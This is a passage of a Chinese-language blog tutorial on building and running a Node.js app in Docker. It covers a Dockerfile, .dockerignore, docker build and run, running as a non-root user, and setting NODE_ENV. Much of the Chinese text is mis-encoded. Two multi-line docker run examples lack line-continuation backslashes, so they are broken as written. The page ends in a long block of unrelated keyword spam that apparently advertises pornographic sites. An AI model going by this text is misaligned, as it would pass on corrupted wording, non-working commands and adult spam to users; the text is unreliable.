          但是如果我們直接添加本地的工作目錄,那么只要我們的工作目錄有文件被修改,會(huì)導(dǎo)致整個(gè)docker image重新構(gòu)建。所以為了提升構(gòu)建效率和速度,我們只拷貝package.json。

          1. 拷貝應(yīng)用程序并運(yùn)行

          最后的工作就是拷貝應(yīng)用程序app.js然后運(yùn)行了:

          # 拷貝應(yīng)用程序
          COPY app.js .
          
          # 暴露端口
          EXPOSE 8080
          
          # 運(yùn)行命令
          CMD [ "node", "app.js" ]
          

          最后,我們的dockerfile文件應(yīng)該是這樣的:

          FROM node:12
          
          # Create app directory
          WORKDIR /data/app
          
          COPY package*.json ./
          
          RUN npm install
          
          # 拷貝應(yīng)用程序
          COPY app.js .
          
          # 暴露端口
          EXPOSE 8080
          
          # 運(yùn)行命令
          CMD [ "node", "app.js" ]
          

          創(chuàng)建.dockerignore文件

          我們知道git會(huì)有一個(gè).gitignore文件,同樣的docker也有一個(gè).dockerignore文件,這個(gè)文件的作用就是避免你的本地文件被拷貝到docker image中。

          node_modules
          

          比如我們可以在其中指定node_modules,使其不會(huì)被拷貝。

          創(chuàng)建docker image

          創(chuàng)建docker image很簡(jiǎn)單,我們可以使用下面的命令:

          docker build -t flydean/koa-web-app .
          

          創(chuàng)建完畢之后,我們可以使用docker images來查看剛剛創(chuàng)建好的image :

          docker images
          
          # Example
          REPOSITORY                      TAG        ID              CREATED
          node                            12         1934b0b038d1    5 days ago
          flydean/koa-web-app             latest     d64d3505b0d2    1 minute ago
          

          運(yùn)行docker程序

          最后,我們可以通過docker run命令來運(yùn)行應(yīng)用程序

          docker run -p 54321:8080 -d flydean/koa-web-app
          

          然后我們就可以通過本地的54321端口來訪問應(yīng)用程序了。

          node的docker image需要注意的事項(xiàng)

          這里我們來探討一下創(chuàng)建docker image需要注意的事項(xiàng)。

          1. 不要使用root用戶來運(yùn)行應(yīng)用程序

          默認(rèn)情況下,docker中的應(yīng)用程序會(huì)以root用戶來運(yùn)行,為了安全起見,建議大家以普通用戶來運(yùn)行應(yīng)用程序,我們可以在docker file中指定:

          FROM node:12
          ...
          # 在最后,以node用戶來運(yùn)行應(yīng)用程序
          USER node
          

          或者我們?cè)谶\(yùn)行的時(shí)候以 -u “node” 作為啟動(dòng)參數(shù)來指定運(yùn)行的用戶。

          docker run \
            -u "node"
            flydean/koa-web-app 
          
          1. 指定運(yùn)行時(shí)候的NODE_ENV

          node的應(yīng)用程序很多時(shí)候需要依賴于NODE_ENV來指定運(yùn)行時(shí)環(huán)境,我們可以以參數(shù)的形式傳遞給docker run命令:

          docker run \
          -e "NODE_ENV=production"
            flydean/koa-web-app 
          

          本文作者:flydean程序那些事

          本文鏈接:http://www.flydean.com/nodejs-docker-best-practices/

          本文來源:flydean的博客

          歡迎關(guān)注我的公眾號(hào):「程序那些事」最通俗的解讀,最深刻的干貨,最簡(jiǎn)潔的教程,眾多你不知道的小技巧等你來發(fā)現(xiàn)!


          主站蜘蛛池模板: 亚洲一区二区三区免费观看| 国产AV一区二区精品凹凸| 日韩精品无码一区二区中文字幕| 国产午夜精品一区二区三区漫画| 一区二区三区在线| 国产丝袜美女一区二区三区| 午夜福利av无码一区二区| 国产精品无码一区二区三区电影| 日本一区二区免费看| 日本一区二区三区爆乳| 国产精品亚洲一区二区无码 | 中文人妻无码一区二区三区| 日本亚洲成高清一区二区三区| 国产精品亚洲一区二区麻豆 | 国精产品一区二区三区糖心| 亚洲福利一区二区三区| 国产精品亚洲一区二区三区久久 | 国产激情无码一区二区三区| 一区二区视频在线| 国产日韩精品一区二区在线观看播放| 中文字幕日韩人妻不卡一区| 亚洲国产精品综合一区在线| av无码精品一区二区三区四区| 78成人精品电影在线播放日韩精品电影一区亚洲 | 亚洲一区二区三区在线播放| 麻豆高清免费国产一区| 波霸影院一区二区| 精品黑人一区二区三区| 久久亚洲中文字幕精品一区 | 国产精品一区二区香蕉| 国产精品日本一区二区不卡视频| 国产小仙女视频一区二区三区| 精品人体无码一区二区三区| 亚洲熟女乱色一区二区三区| 中文字幕不卡一区| 国产在线精品一区二区| 午夜福利一区二区三区在线观看 | 亚洲中文字幕无码一区| 国产麻豆剧果冻传媒一区| 激情内射亚洲一区二区三区爱妻| 久久亚洲色一区二区三区|